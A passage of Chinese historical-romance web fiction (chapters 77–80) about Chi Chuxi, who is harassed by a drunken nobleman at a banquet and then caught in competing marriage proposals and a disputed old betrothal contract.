池楚浠定定地看着她道:“就算不讲究先来后到,难道男人嘴里的承诺也是一片浮云?”
“郑娘子,你扪心自问,我错在哪里,你如此维护白娘子,难道不是先入为主,城中的谣言究竟是何人传出,目的是为何我都不感兴趣,只是郑娘子,我做我的事,也拜托你不要总来我面前生是非。”
77. 作威作福
郑绮棠看着池楚浠从她面前离去,她回味起方才池楚浠说的话,关于池楚浠的传闻究竟是不是谣言,她的确从未去考证过。
若真如她所说,季沐风对她的承诺在先,那谁对谁错还真不一定,至少池楚浠不应该是那个该被口诛笔伐之人。
顶多安她个不识趣,假清高的名头,至于骂她折辱高门贵女,枉顾礼法尊卑,倒是有些勉强了。
池楚浠跟着田兰竹赏了花,全程鲜少开口与其他女眷交谈。
中午快入席时,池楚浠提着自己带来的一坛酒去了隔壁厅中。
午时两边的座位会打通,算做是来宾一同入席,也好让大家私下有所交流,这边是家宴的好处。
池楚浠提着一小坛酒寻了过来,在荷花池前看见了谢鹤明。
她上前道:“谢监丞,我来感谢您昨日的救命之恩。”
谢鹤明朝她看来,似乎早有预料今日会见到池楚浠,他道:“池娘子不必客气,昨日情况危急,谢某施以援手是应当的。”
池楚浠面上带着柔和的浅笑,将手中的酒递过去:“这是我自己酿的果酒,若你不嫌弃的话可拿去尝尝,算做是我的谢礼。”
“我也只能以此做谢礼了,旁的东西我也拿不出,还望监丞莫要嫌弃。”
池楚浠说话间语气格外好听,似一汪春水淌入心间。
谢鹤明怔了怔,伸手接过那坛酒提着:“多谢池娘子,那这礼我便收下了。”
池楚浠送完礼便回了另一厅中,刻意与谢鹤明拉开距离。
谢鹤明提着酒回了自己的座位。
酒坛子一打开,香味就飘散出来,旁人闻着味儿就纷纷把头探过来。
“哇,谢兄,你竟私藏好酒!”
“见者有份,我们也要。”
谢鹤明将盖子盖回去:“今日尚书府已有这么多好酒,诸位不许再贪我这一杯,这酒我自己喝。”
“谢兄小气。”
谢鹤明笑着把酒交给自己的随从,命他仔细收好。
有人大笑着在一旁坐下道:“谢兄以前鲜少来这种场合,今日怎么肯赏脸,难不成就是为了来一睹苏娘子的风采?”
何瑾亦调侃道:“这么多年过去了,谢兄还是忘不了苏家娘子,实在不行,我去求父亲帮你说媒,苏尚书想必会给我阿耶一个面子。”
谢鹤明道:“不必,我想你是误会了,我只是来凑凑热闹而已,何况今日苏府有诸多好酒,怎可不来品鉴。”
何瑾亦哈哈笑道:“谢兄不去凑别处的热闹,偏偏爱凑苏府的热闹,什么心思大家都心知肚明,不必遮遮掩掩,喜欢就要去争取。”
谢鹤明淡然地坐着,拿起一壶酒给何瑾亦倒了一杯:“瑾亦不如尝尝这酒,都是好东西。”
何瑾亦勾唇笑了一下,端起酒杯一口闷了。
“的确是好酒!”
何瑾亦喝上了酒就顾不上一个劲地调侃谢鹤明,他开始拉着身边的郎君们敞开了喝。
众人都吃饱后,苏岫在两厅中央摆起了谜语,各自用长幅写出来。
苏岫道:“诸位今日猜中了谜底的便可将谜底带回去,哪位要来试试?”
何瑾亦喝得醉醺醺的,他上前道:“谜底都是些什么,都能带回去吗?”
苏岫道:“今日所有的谜底都是花,只要猜中,皆可带回。”
何瑾亦拎着酒壶哈哈笑着:“那还不容易,我先来!”
苏岫指着挂了满墙的谜语道:“何郎君选一幅。”
何瑾亦睁着半醉的眼睛扫了一遍,指向其中一个长幅道:“这个。”
苏岫将谜语念出:“翠叶修长托玉盘,白瓣黄芯韵万千。月下静绽香幽淡,宛如仙子落凡间。”
何瑾亦脑袋有些昏沉,听完谜语还在做冥想状。
有人悄悄靠在他耳后说了几个字。
何瑾亦恍然大悟地指着长幅道:“我知道了,此乃水仙,对不对?”
苏岫懒得计较他暗中作弊一事,大方笑道:“猜对了,那就请何郎君选一盆水仙带回去,不缝时节开花的便将种子带回。”
何瑾亦冷笑了一声:“带个破水仙有什么意思,不如领一朵真水仙回去。”
他笑着指向女眷这边:“这儿不是很多吗,个个都赛水仙似的。”
谢鹤明出言提醒:“何郎君,你怕是喝醉了,不如早些回去歇息。”
何瑾亦不屑地瞥了谢鹤明一眼:“装什么装,你们今日难道不是来看小娘子的,他苏家敢办这个宴席不就是这个目的,一个个装得跟什么似的。”
何瑾亦冷眼扫了一圈,仿佛就他是个爱说实话的人,其他人都是装清高。
苏岫道:“今日邀各位来也只是诸位私下相聚的乐趣,并没有别的心思,何郎君还是别取笑了。”
方才在何瑾亦身边漏答案的人道:“苏娘子光会说漂亮话,你难道不为自己的婚事着想吗,你都多大年纪了,还没嫁出去,苏尚书都该着急了。”
苏岫脸色沉了沉,她本是不想请这人的,无奈何瑾亦偏要来,还要带着他一起来,苏岫也不敢拒绝。
何瑾亦父亲的官职在她父亲之上,且是她父亲的顶头上司,就连父亲也不敢说什么,只能任由何瑾亦此时作威作福。
苏岫被人戳到痛处,一时也有些难堪。
何瑾亦还不依不饶,他直直地朝女眷这边走来,打量着面前的每一位小娘子,丝毫不避讳。
一些脸皮薄的娘子纷纷转过了身,有的索性退回了之前吃饭的位置。
池楚浠挡在前排小娘子面前站了出来,她望着满屏的长幅道:“我来猜下一个花迷。”
她一说话,所有人就朝她看来,何瑾亦也不打量其他人了,只一心盯住了池楚浠。
池楚浠这一招转移注意力倒是用得不错,至少解了苏岫的燃眉之急。
她指着一幅谜语道:“我选这个。”
苏岫念道:“天上碧桃和露种,日边红杏倚云栽。”
池楚浠道:“天上、日边都暗示高的地方,凌霄花善于攀援,常常生长得较高,碧桃、红杏在谜面中是和凌霄花类似的花卉,它的谜底是凌霄花。”
苏岫露出个赞赏的笑容:“没错,是凌霄花,我将凌霄花的盆栽送你,此时它开得正好。”
池楚浠道:“多谢苏娘子。”
谢鹤明主动站出来猜下一个谜语,先前的氛围不说被一扫而空,至少没人再提一些污言秽语。
何瑾亦好酒,拎着酒壶给自己灌了几口酒,喝得很是满足。
他饶有兴致地打量着池楚浠,目光落在她身上的每一处,眼神有些炙热。
池楚浠从前不怎么关心城中这些公子贵女,但对于何瑾亦的名头倒是听过一两回。
此人好酒色,家中美姬无数,虽从未闹出过大
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乱子,但也总是令家中长辈发愁。
何瑾亦扭头问他的跟班陆珩璋:“这位是谁家的小娘子,为何从前未曾见过?”
陆珩璋惯常喜欢听街头的风言风语,他这会儿已经推测出池楚浠的身份了,便道:“想来是裴家那个义女,之前与进士郎退婚的小娘子。”
“哦?”何瑾亦饶有兴致地盯着池楚浠,“就是那个死活要跟季沐风退婚,一心想做大房的小娘子?”
陆珩璋:“应该是她。”
何瑾亦莫名其妙地笑了笑,又回后方喝酒去了。
苏岫的丫鬟领着池楚浠去挑凌霄花的盆栽,苏府的花园里有许多盆栽,都是今日特意摆在此处用做观赏的。
丫鬟领着池楚浠走在石子路上,指着两旁的各种花卉道:“池娘子随便看看,这些都是我家娘子精挑细选的。”
池楚浠一边应着一边观赏,大多数花她也只是粗略看一眼,毕竟这是别人的,就算再喜欢也不能都搬家里去。
丫鬟道:“凌霄花就在前面。”
何瑾亦突然出现拦在丫鬟面前,他手里还拎着壶酒,嘻嘻笑道:“凌霄花有什么好看的,我府上的花比这些东西珍贵得多,还有异域进贡的品种,小娘子可有兴趣?”
丫鬟不敢抬头去看他,但她知道何瑾亦这番话是对身后的池楚浠说的。
这个何家的浪荡子又来惹是生非。
“让开。”何瑾亦推了丫鬟一把,将丫鬟赶到远处,丫鬟不敢吭声,只默默地朝远处的另一个丫鬟使眼色。
何瑾亦凑近池楚浠,再次问道:“可愿去我府上赏花,我虽给不了你正妻的地位,但宠爱是少不了的,我可比那季沐风怜香惜玉多了。”
何瑾亦痴痴地看着池楚浠,抬手要摸她的脸颊。
池楚浠略一偏头就躲开了。
“蒙何郎君厚爱,楚浠愧不敢当,你府上的花就留给有眼光的人赏吧,我只取一盆凌霄花足以。”
何瑾亦不由分说地扣住池楚浠下颌,让她想躲也躲不开。
“这么快就拒绝,季沐风顶多从□□品的芝麻小官做起,这辈子也难与我何家平起平坐,你给他做妻不如给我做妾。”
池楚浠眼神毫不闪躲地盯着他,沉声道:“这是在苏尚书府上,何郎君这样动手动脚必定会传入你父亲耳中,到时你回去怕是又要挨训。”
“呵!”
何瑾亦捏着池楚浠下颌狠狠一甩,在她脸颊上留下两道指印。
“别以为拿我父亲就能压我,我自己的事只要不做得太出格,他们都不会管我。”
“池娘子,我今日是好意相邀,你当真不考虑考虑,做我何瑾亦的妾不比季沐风的女人差。”
池楚浠抬眼看着他,眼中有一丝冷笑:“好,那就请你挑个好日子上我们裴家来提亲。”
何瑾亦一愣:“你当真?”
池楚浠唇角弯了弯:“当真,虽是做妾,但我要正妻的排面,一样东西都不能少,你敢吗?”
“我有何不敢。”何瑾亦道,“今日苏家办这宴席不就是想撮合这些娘子郎君,我回去就择个良辰吉日上门提亲,你且等着就是。”
何瑾亦借着酒劲儿抓住池楚浠的手,得意笑道:“我就说,像你这样的小娘子不可能分不清利弊,嫁给谁能享福你比谁都明白。”
池楚浠故意把手往回收,但没用劲儿,又被何瑾亦牢牢抓了回去。
78. 上门求娶
她道:“人贵在有自知之明,我本无意再嫁人,但拗不过天意。”
池楚浠故意红了眼眶,定定地看着他道:“昨日谢监丞救我一命,但我二人身份悬殊,我无以为报只得赠他一坛酒当做谢礼。”
“在这偌大的长安城中,处处是对我口诛笔伐的谣言,我亦想要一个安身立命之所,可惜,从未有人给我,义父想让我出嫁,而你,今日也来羞辱我。”
她的眼泪仿佛要夺眶而出。
何瑾亦看得心底一紧,赶紧捧住她的双手道:“我哪是羞辱你,我是不如那些文人说话那般雅致,但我的确是对你一见倾心,想将你娶回家中好生疼爱。”
“我发誓,我所言不虚!”
何瑾亦当真举手发誓起来,那模样颇为可笑。
池楚浠又岂会把这浪子说的话当真,可她今日这番也不过是装模作样罢了。
她水到渠成地落下一滴泪来,放轻了声音道:“我这等身份本就不该妄想,我又争得过谁,就连你说要娶我,我也不敢说一个不字。”
何瑾亦还有一半酒劲儿在身上,脑子昏昏的,他只觉得眼前这个小娘子好看,越看越挪不开眼。
眼下见她委屈得一哭,何瑾亦就恨不得把人揉进怀里立刻娶回家中供起来。
“你可是对那谢鹤明有好感,你就这般瞧不上我何瑾亦?”
池楚浠泪眼婆娑地看着他道:“不然呢,谢监丞救过我,带我死里逃生,你又做过什么,我只听闻你府中美姬无数,今日你想要娶我也不过是图一时新鲜罢了,我又怎会对你真心相待?”
“你果然是想嫁给那个姓谢的。”何瑾亦冷声道,“可惜你打错算盘了,谢鹤明心里只有那个苏岫,他等了那苏岫好几年,是不会喜欢你的。”
池楚浠委屈地垂下眼睑,擦了擦眼泪道:“无需你提醒我,我不会妄想嫁给他,我池楚浠已经认命。”
说着,她后退一步,刻意与何瑾亦拉开距离,像是不想与他靠近一分。
这举动惹了何瑾亦不快,他追上去一把将池楚浠拉入怀中,威胁道:“你明白就好,我府中是有诸多美姬,不过都是些庸脂俗粉,你这样的还是头一个,放心,我会好好疼你。”
“无论是季沐风还是谢鹤明,都不如我好,你擦亮眼睛看清楚了。”
“乖乖等我上门求娶便是,我给你正妻的排面,该有的一样不少。”
池楚浠嘴角牵起一抹笑意,但很快又收了起来,他嫌弃般地去推何瑾亦。
“你松开……”
“我不,反正你迟早得嫁给我,让我抱一下怎么了?”
“何郎君,你别这样。”
池楚浠假意与他拉扯,终于等来了谢鹤明。
一双大手强行拖开了何瑾亦,果断地将池楚浠护在身后。
今日在场的郎君中,敢跟何瑾亦这个纨绔掰扯几句的也只有谢鹤明了,毕竟他的官职是这群年轻人中品阶最高的。
“大庭广众之下,你何家的脸面都不要了?”谢鹤明怒道。
何瑾亦脸上挂着一抹坏笑,不屑地瞥了谢鹤明一眼:“你还管起我来了,谢鹤明,好好掂量掂量自己的身份,你敢管我?”
谢鹤明冷声道:“我不敢管你,但我敢明日就上一份奏疏,让满朝文武都看看你们何家是如何教导晚辈的。”
何瑾亦带着醉意指着谢鹤明:“你胆敢上奏,那你也别想好过,谢鹤明,你为官多年难道就一身干净,两袖清风?我看着你也不像啊。”
何瑾亦笑道:“你弹劾一个试试,信不信我把你老底都挖出来,到时看咱们谁死得更惨。”
谢鹤明沉默了片刻,依旧沉声道:“调戏良家妇女就该按律惩处,达官显贵亦是如此。”
何瑾亦冷笑道:“我调戏?你问问她,我可是已经说好了择日上门提亲,再过几日她就是我的女人了,我摸摸怎么了,你管不着。”
“提亲?”
谢鹤明看向池楚浠,只见她眼眶发红,心里仿佛有一腔委屈却又不敢说。
他立刻明了,是这何瑾亦逼迫的,这个浪子竟是要强娶人家,小娘子有苦不能言。
谢鹤明脸色难看,对何瑾亦道:“你冒然提亲可征得裴家同意,人家池娘子可愿意?”
何瑾亦一个眼神瞪来:“她怎么不愿,她当然愿意,她又不傻,裴家也不傻,我娶她是她的福气,像她这样的女人长安城谁还敢娶,除了我。”
何瑾亦一副得意的样子。
谢鹤明再次看向池楚浠,她已强行将眼泪忍了回去,似乎平日里没少遭受这样的屈辱,看起来已经习惯了,连吭都不吭一声。
“你怎知没人敢娶她,何瑾亦,既然大家都喜欢池娘子,那应当公平竞争。”
何瑾亦一脸震惊地看着谢鹤明,不可置信地拍了拍自己的脸:“你疯了还是我喝多了?”
“谢鹤明你什么意思?”
谢鹤明一把拉住池楚浠手腕,沉声道:“我说,既然如此,那便公平竞争,看池娘子究竟心属何人。”
何瑾亦使劲擦了擦眼睛,还以为自己在发酒懵。
“谢鹤明,你何时又喜欢上这个小娘子了?你的苏岫不要了?”
谢鹤明道:“我何时说过喜欢苏岫?”
何瑾亦道:“你这么多年不续弦,难道不是因为在等苏岫?你当年可是亲自上门求娶的。”
“当年之事并非我本意,这么多年过去了,家中长辈早无此意。”谢鹤明道,“我不续弦不过是因为没有寻到合适的人罢了。”
何瑾亦一声冷笑,手指点着谢鹤明道:“我看你就是存心给我找不痛快,行,咱就看看裴家是迎哪家的媒人进门。”
谢鹤明道:“好。”
池楚浠在谢鹤明身后默不作声。
谢家?
何家?
等着你们上门求亲。
从前不混迹这些圈子,竟不知这些公子贵女之间竟是这样勾心斗角。
似乎每个人都有自己的目的,苏岫是,谢鹤明是,其他人更是。
反而像何瑾亦这样的倒是不多见,纯粹是好酒色罢了。
何瑾亦也没再过多纠缠,拎着酒壶去了别处。
池楚浠跟谢鹤明一起去挑凌霄花。
摆放盆栽的前方是苏家的莲花池,今日本就是来赏莲花的,当然最数莲花的数量最多。
苏府里的莲品种繁多,开得赏心悦目。
莲池的湖心亭上有两个人影,其中一个苏岫,池楚浠和谢鹤明一眼便认出来了。
至于另一个人,谢鹤明一时没认出,但池楚浠定睛一看也看清了。
是景序昭。
待两人走近了一些,谢鹤明才道:“苏娘子身旁的人像是景
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家二郎。”
池楚浠嗯了一声:“是了。”
“你竟也认得。”谢鹤明道。
池楚浠道:“见过几次。”
他们距离湖心亭的位置不远,不过那两人是背对着他们的,不知后方有人来。
池楚浠静静地看了片刻,见着苏岫往景序昭手中递了个荷包。
谢鹤明道:“看来苏娘子这些年还是没能放下他,只可惜景家二郎的姻缘不顺,这是当年司天台的岳主事亲口说的,苏娘子怕是等不到了。”
池楚浠道:“既然连你都知道,那苏娘子又岂会不知,她竟还如此执着。”
谢鹤明道:“我也不知她竟如此喜欢景二郎,早知如此,我当年也不会遵长辈之意上门求娶了。”
池楚浠看见景序昭将荷包还了回去,苏岫握着荷包愣了许久,也不知是否当着他的面哭了。
只是远远的便能感受到一个小娘子的心碎,可惜了。
苏岫虽说有些心计,但瞧着是个不错的姑娘,更是与景家门当户对。
谢鹤明道:“去挑花吧。”
池楚浠与谢鹤明转弯走了另一个方向。
景序昭婉拒苏岫的赠礼,让她缓了缓情绪才转身准备离开。
他清楚地瞧见池楚浠与谢鹤明一起同行的侧影。
他们二人一起去花架前,在那里悠闲地挑起盆栽来。
这么多年下来,苏岫内心早已变得比从前平静,只不过偶尔还是会感到无所适从。
命运既然要捉弄她,那她也要与之抗衡一番,天命就不能违吗,她偏要试试。
只记得当年景家传出二儿子不可过早成婚,却未说何时可以成婚,难道岳主事断言他这一辈子都不成婚吗?
景家没说,其他人也不知,苏岫自然是不信的,景家二郎怎么可能一辈子不成婚,景凛渊长期在外领兵,万一有个三长两短,还不是得景序昭顶上,他又怎么可能不成婚生子。
苏岫暗暗咬牙,她等得起。
周围的所有世家子弟她从来都瞧不上,唯独在外长大的景序昭能让她眼前一亮。
她怎可就此放过。
苏岫见景序昭盯着盆栽的方向,她也往那边看了一眼,平静地道:“池娘子对谢监丞有意,裴家妹妹与我说了,让我帮着撮合,今日便将他们都请了来。”
苏岫问:“你觉得她二人可相配?”
景序昭一直盯着那个方向没说话。
苏岫道:“我倒是觉得很好,郎才女貌,谢监丞一心想要找个能替他照看家业的贤淑娘子,池娘子就正好。”
景序昭忽地沉声道:“她对谢鹤明有意?她亲口说的?”
苏岫道:“倒也不是亲口说,我昨日与她吃饭时问过,她算是默认,我说办宴席撮合她也没拒绝。”
景序昭听完忽然大步离开。
苏岫还没反应过来,一回过神就发现璟序昭已经走出去老远。
她没急着追上去,只是望着池楚浠与谢鹤明的身影笑了笑,若不是为了这一刻,她也不会筹谋良久。
费心办什么赏花宴,不过只是她的一腔私心。
当时景序昭突然离开长安,她好不容易打听到缘由,只要池娘子还未嫁人,景序昭就会一直盯着她。
索性就帮池娘子一把,嫁给谢鹤明做妻不比嫁给季沐风差,她一定会愿意的。
79. 裴家有喜
裴家女儿生得好看,魏九昭见了裴清浅几面便觉得满意,当即告知家里人要去裴家提亲。
门当户对的亲事向来是最容易成的。
媒人上门这一日,田兰竹正从夫君的公廨回来,方才她去给裴焕送了些东西。
媒人乐呵呵地笑道:“夫人,那殿中侍御史魏家你可识得呀?”
附近的媒人田兰竹都有所耳闻,今日来的这位她也见过,她愣了一下,便笑道:“识得识得,请进,屋里说。”
“诶,咱屋里聊。”媒人笑着跟了进去。
裴清浅躲在门后瞧见了,一头就钻进池楚浠屋里,脸色绯红。
池楚浠道:“这下如愿以偿了,你喜欢的人恰好也是义父瞧上的。”
裴清浅害羞得不说自己的事,反倒说起池楚浠的事来:“这都好几日过去了,为何不见谢监丞的消息,我明明瞧着他看了你许多眼。”
池楚浠慢条斯理地倒茶喝,她道:“他若是像魏九昭一样来家里提亲,那才是奇怪了。”
“为何这样说?”裴清浅道,“喜欢你难道不来提亲吗,他是有什么难言之隐?”
池楚浠浅浅地勾了勾唇角:“难言之隐算不上,秘密想必有不少。”
“你连他有秘密都知道,那看来你很关心他嘛。”裴清浅道,“你若是不想嫁给他做续弦就不会这般留意他的事,还知道人家有秘密呢,是什么秘密,我也想知道一二。”
池楚浠道:“我也只是猜的,他看起来像是有秘密的人,我哪里知道他有什么,从前也没听过他这一号人。”
裴清浅“嘁”了一声道:“像你这样的人若是不想嫁他,又怎会对他上心,你可骗不了我。”
“如今咱们就等着谢家的媒人上门说亲,他一定会来的,你是不知道他暗中看了你多少次,所有小娘子中他最爱看你。”
“他一定是对你有意思。”
池楚浠还没对裴清浅说谢鹤明要与何瑾亦竞争,这若是让裴清浅知道了还不得把眼睛都惊得瞪下来,然后再扯着嗓子到处喊,生怕别人不知道似的。
池楚浠不再与她说这个,此事也无需闹得太大,到时间就得收手。
她还是得结束这一场由她故意引起的闹剧。
来给魏家说亲的媒人高高兴兴从裴家出去,这桩事算是一次就办成了。
田兰竹还有一瞬间恍惚,女儿的婚事这就敲定了,过不了多久女儿就要嫁做人妇,她一边高兴一边又觉得感慨。
陆逍是从后门进的景家,他悄悄摸摸跑进来时正撞见景序昭黑着一张脸。
“出大事了……”
陆逍深吸了一口气道:“何瑾亦那小子要去裴家提亲,说是要娶池娘子做妾。”
景序昭听完脸色更难看了。
陆逍接着又道:“这就算了……”
“什么叫这就算了?”景序昭冷眼沉声道。
陆逍赶紧道:“你别打断,听我说完,何瑾亦前脚刚说要去裴家提亲,那谢家的媒人就已经先一步登门了,你就算现在去也来不及了。”
陆逍说完盯着景序昭,只见他那神情真是愈发阴冷了。
陆逍道:“谢鹤明拿何家没办法,只能捷足先登,若是裴家直接应了谢家,那何瑾亦除了逼迫就别无他法,不过我看以何瑾亦那个性子,怕是会强抢了这门亲事。”
陆逍还想再说什么,眨眼就见景序昭大步出门。
“你上哪儿去?”
陆逍赶紧跟上。
“景兄,抢亲的话这样上门可不行,一没媒人二没聘礼,不合规矩!”
陆逍竟一路跟着来了季沐风家中。
只见景序昭与季沐风简单说了几句,季沐风就沉着脸从屋里捧出来一本婚书。
三人一起往裴家去。
此时,裴家正先后迎了两位媒人进门。
裴焕还在公廨,来不及赶回来商议,仅有田兰竹一人招待她们。
谢家的媒人催促着:“田娘子,你方才不是说要应下吗,这会儿怎么又不开口了?”
田兰竹还没说话,何家的媒人就道:“谢监丞与何郎君谁高谁低田娘子还是分得清的,要答应也是答应咱们何家的提亲。”
田兰竹尽力遮掩脸上的苦笑,她让丫鬟紫珞给两位上了茶,都客客气气地接待着。
“我实在没想到两位同时上门,只是我这义女早就心有所属,恐怕我不能擅自做主,我得问问她。”
何家媒人道:“即便你不是她亲生母亲,你也有权做主她的婚事,她既磕头认了你做母亲,那就该由你来定下她的婚事。”
“田娘子,这还有什么好考虑的,何郎君家世显赫,你家池娘子嫁过去也是享福的,怕什么。”
田兰竹道:“可前几日我听她说对谢监丞有仰慕之情,王婆婆,我恐怕不能答应何家。”
王媒婆忍不住翻了个白眼:“喜欢能当饭吃,那何家无论是权势地位还是田地铺子,哪样不比谢家多,都说何郎君爱美姬,你家池娘子虽不爱打扮,但那模样生得却没话说,让何郎君看了一眼就喊着要娶,将来嫁去何家那还不是金银珠宝享用不尽。”
谢家媒婆道:“你倒是说得好听,去了何家终究是个妾室,哪能你想戴金银珠宝就戴的,上头还有个正室夫人呢,要我说给何郎君做妾不如给谢监丞做续弦夫人。”
两个媒人各说各有理。
田兰竹一脸为难地在旁边敷衍着回答。
裴清浅拉着池楚浠悄悄躲在后面,两人隔着窗户听她们商议婚事。
裴清浅悄声嘀咕:“傻子都知道选谢监丞,何瑾亦身边美姬一堆,见一个爱一个,去了有的苦头吃。”
“可是吧……咱们好像不敢忤逆何家,何瑾亦他爹是左丞啊,怎么办阿姐?”
池楚浠看起来并不是在纠结选谁,而是满脸疑惑。
“他竟真的来提亲?”
“你说谁?”裴清浅问。
“谢鹤明。”池楚浠道,“他难道不知我的身份,还是说……”
“你在说什么呀?”裴清浅道,“他肯定是因为喜欢你才来提亲的呀,难道还有别的缘由?”
池楚浠摇摇头,不打算跟裴清浅讲清来龙去脉。
她只是觉得奇怪,若谢鹤明当年真的出现在苍山县,且与阿耶的死脱不了干系,那他又怎么可能不认得她。
若是认得她,明明知晓她的身份却还要来提亲,那就是真的奇怪了。
否则只能从源头上推翻,宋晚吟画的不是谢鹤明,或者说谢鹤明根本
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没去过苍山。
再者,谢鹤明记性不好,即使案发时在公廨周围徘徊,涉嫌参与其中,当时也见过池楚浠,但这会儿已经把她忘了。
猜测没有实证,池楚浠不会笃定些什么,她势必还要将这个局继续搅下去。
田兰竹不想答应何家,又不想将谢家拒之门外,几人周旋间,外头又说来了新的客人。
紫珞赶紧将人迎了进来,她在见着景序昭和陆逍时就松了口气,救星终于来了。
这些年她奉命在裴家做眼线,没少给他们传递消息,她最是知道长安城中谁最惦记池娘子。
紫珞赶紧领着人过来。
“夫人,景县丞、陆公子和进士郎来了。”
田兰竹一眼看向这三人,只觉得惊奇,怎么景家的人还登门拜访了,他们裴家与景家向来没有瓜葛啊。
这几人中,她唯独对季沐风冷眼相待。
“几位有何贵干,今日家中多有不便,招待不周还请见谅。”
裴清浅大着胆子凑到窗口的角落去看,扫了一眼赶紧缩了回来,一脸震惊地对池楚浠道:“来了好几个男人,有季沐风,还有两个我不认识。”
池楚浠凑过去看了一眼,仅一眼便立马缩了回来。
两人都是一脸震惊地蹲在墙脚。
裴清浅问:“是谁呀,阿姐你认识?”
池楚浠嗯了一声。
裴清浅瞪大了眼睛盯着池楚浠,神情惊讶:“阿姐,你在外竟背着我们招惹了这么多人……”
“阿姐,你胆子真大,打死我都不敢这么干,从前我还以为你只喜欢季沐风一个,如今看来是我想多了。”
池楚浠敲了一下裴清浅的脑袋:“胡说什么,我天天在家待着,招没招惹人你不知道吗?”
裴清浅挠了挠脑袋:“也是……”
王媒婆盯着这几个男人看,她倒是认出了季沐风。
王媒婆道:“几位匆匆上门莫非是要搅黄这一门婚事,这样匆忙登门似乎于理不合。”
王媒婆是代表何家来说亲,她的态度就是何家的态度,务必寸土不让。
田兰竹对季沐风道:“还请你出去,我们家确实不欢迎你,今日不欢迎,以后也是。”
王媒婆见裴家与季沐风针锋相对,掩着嘴笑了:“夫人是个明白人,无论什么人家都是比不过何郎君的。”
田兰竹指向门口,沉声道:“季郎君,请吧。”
季沐风看起来并没有要与田兰竹争吵的样子,只见他拿出一册婚书,将其高高扬起:“此乃我与池娘子定下的婚书,我与池家的婚事还在,池娘子不可另嫁他人。”
他盯着王媒婆道:“两位婆婆还请回吧,不必来给楚浠说亲了。”
“这……”王媒婆惊了,“怎会还有婚书?你二人不是退婚了?”
季沐风道:“当时池娘子只是口头上的退婚,并未销毁或退回婚书,况且我也没同意,婚书在我们的婚事就还在。”
两个媒婆互相看了一眼,都露出为难的神色。
王媒婆道:“你看不如这会儿就将婚书退回给裴家,老婆子我今日是替何家来提亲的,季郎君你将来在朝为官也少不得要给左丞一分薄面。”
“季郎君,你说是与不是?”
80. 并无关系
王媒婆脸上带了些笑意,希望能尽快将此事谈妥,婚书要么退了要么毁了,不能再留在季沐风手上。
墙脚下,裴清浅支着耳朵听了一阵,她道:“怎么办阿姐,你与季沐风竟还有婚书在。”
池楚浠有些波澜不惊:“无妨,那婚书上写的是我嫁给他做妻,想兑现婚书上的承诺,他可得休了家里那位夫人,他怎会舍得。”
裴清浅觉得有道理,婚书倒是不足为惧。
田兰竹道:“有婚书又如何,如今我是楚浠的阿娘,由我做主便能跟你季家退了这门婚事,将婚书还回来吧。”
田兰竹伸手讨要。
季沐风道:“退婚要双方协商一致,仅凭裴夫人你一人怕是做不了主。”
“你莫要胡搅蛮缠!”田兰竹怒道。
季沐风面不改色,只道:“总之我与楚浠尚有婚约在身,她不可再另许他人。”
谢家的媒人早就看出自己此番讨不着好处了,在这儿待着也无济于事,她道:“既然如此,那我便等这婚书退了再来,裴夫人,告辞了。”
媒人走了一位,还剩下个王媒婆,她亲自看了眼季沐风手里的婚书,的确是真的。
王媒婆道:“还望裴夫人早日处理好这桩旧事,莫耽误了池娘子的大好前程,还有,惹恼了何家咱们谁都不好过,我言尽于此,几位自行掂量。”
两位媒人都走了,季沐风还握着婚书站在厅中。
“裴夫人,婚约一事咱们可以再商谈。”
“我与你没什么好说的。”田兰竹冷脸道,“我家楚浠已与你断了情缘,你二人绝无可能。”
季沐风道:“何家是个吃人不吐骨头的地方,裴夫人当真想将人嫁过去?”
田兰竹沉声道:“楚浠喜欢的是谢监丞,自然不会嫁去何家。”
季沐风道:“若我退了婚书,楚浠便可再定亲,到时选何家还是谢家能由你裴家做主吗,裴县尉怕是还不敢得罪左丞一家。”
田兰竹眉头皱了起来,季沐风说得对,裴家的确不敢与左丞作对。
紫珞在田兰竹耳边道:“夫人莫急,左丞不敢得罪景司空,旁边那位便是景司空家的二郎。”
田兰竹这才着重看向景序昭:“景郎君也是来提亲的?媒人呢?”
景序昭什么也没带。
陆逍赶紧道:“今日不是来提亲的,只是来帮夫人解围,景兄与池娘子是故交,不忍见她如此为难,所以今日特地前来。”
田兰竹哦了一声,仔细盯着景序昭将他打量了一遍。
“那多谢景郎君了,只是眼下这难处可不止一件,景郎君若是真心愿意帮忙,不如助我家姑娘与谢家定亲,也好让她如愿。”
田兰竹说着这一番话,全当身边没有季沐风这个人一般。
季沐风道:“景县丞倒真是大方,今日当真要将她拱手让人,去给谢鹤明做续弦夫人?”
池楚浠缩在角落,脑子里一片空白。
景序昭往窗户口看了一眼,他知道那里躲着谁。
景序昭道:“他谢鹤明还没那个资格。”
季沐风忽地笑了:“当年谢监丞要娶苏家娘子,因你景家一句话白白误了这么多年,如今他要娶楚浠,你又出来与他作对,景县丞,你是要将两家不和之事闹得满朝皆知,将来官场上抬头不见低头见,倒是有些不自在了。”
景序昭冷声道:“你今日肯来这一趟,怕是没打算空手回去,说吧,想要什么?”
季沐风道:“我不要什么。”
他看向窗口道:“楚浠,出来吧,我有话与你说。”
躲在墙角下的两人尴尬地互相看了一眼,纷纷不自在地起身绕到正门来。
田兰竹对裴清浅道:“你先下去。”
“是。”裴清浅好奇地扫视了一圈在场的几个男人,缓缓退了出去。
季沐风来到池楚浠面前道:“我从未想过拿婚书要挟你,今日来此确如景县丞所说,是为帮你解围,但婚书我还不想交还。”
“楚浠,若你将来改变心意,我季家的大门随时为你敞开,我答应过你阿耶,这是给你的承诺,哪怕这世上你无处可去,我季沐风永远不会将你拒之门外。”
“楚浠,你可理解我?”
池楚浠眼睛一眨不眨地听着他讲这话,听完后她忽地笑了:“季郎准备将这婚书留到何时?”
“若是当真想按照婚书上的约定娶我,那一字一句都按婚书来,你可愿休了白家娘子?”
她盯着季沐风,眼尾带起丝丝笑意:“若休了白家娘子,我便不再提收回婚书一事。”
季沐风眉心拧了拧,看着她道:“你一定非要这般与我闹腾吗?”
池楚浠道:“你若非要这样想,那随你。”
季沐风神情变得不悦,他沉声道:“无妨,我等得起,我不愿看着你误入歧途,为了报复我便甘心沦为何瑾亦那等人的玩物。”
“你阿耶在天有灵必定不会怪我。”
季沐风揣着婚书直接离开了裴家。
池楚浠看向景序昭,没与他说话。
她又看向陆逍道:“你这么快就从沙洲回来了。”
“呃……是。”陆逍应着,“办完事我就赶着回来了,此番景兄回京有要事,我少不得要跟着一起。”
陆逍看了看两人,觉得尴尬无比,池娘子不与景序昭说话反而跟他聊了起来。
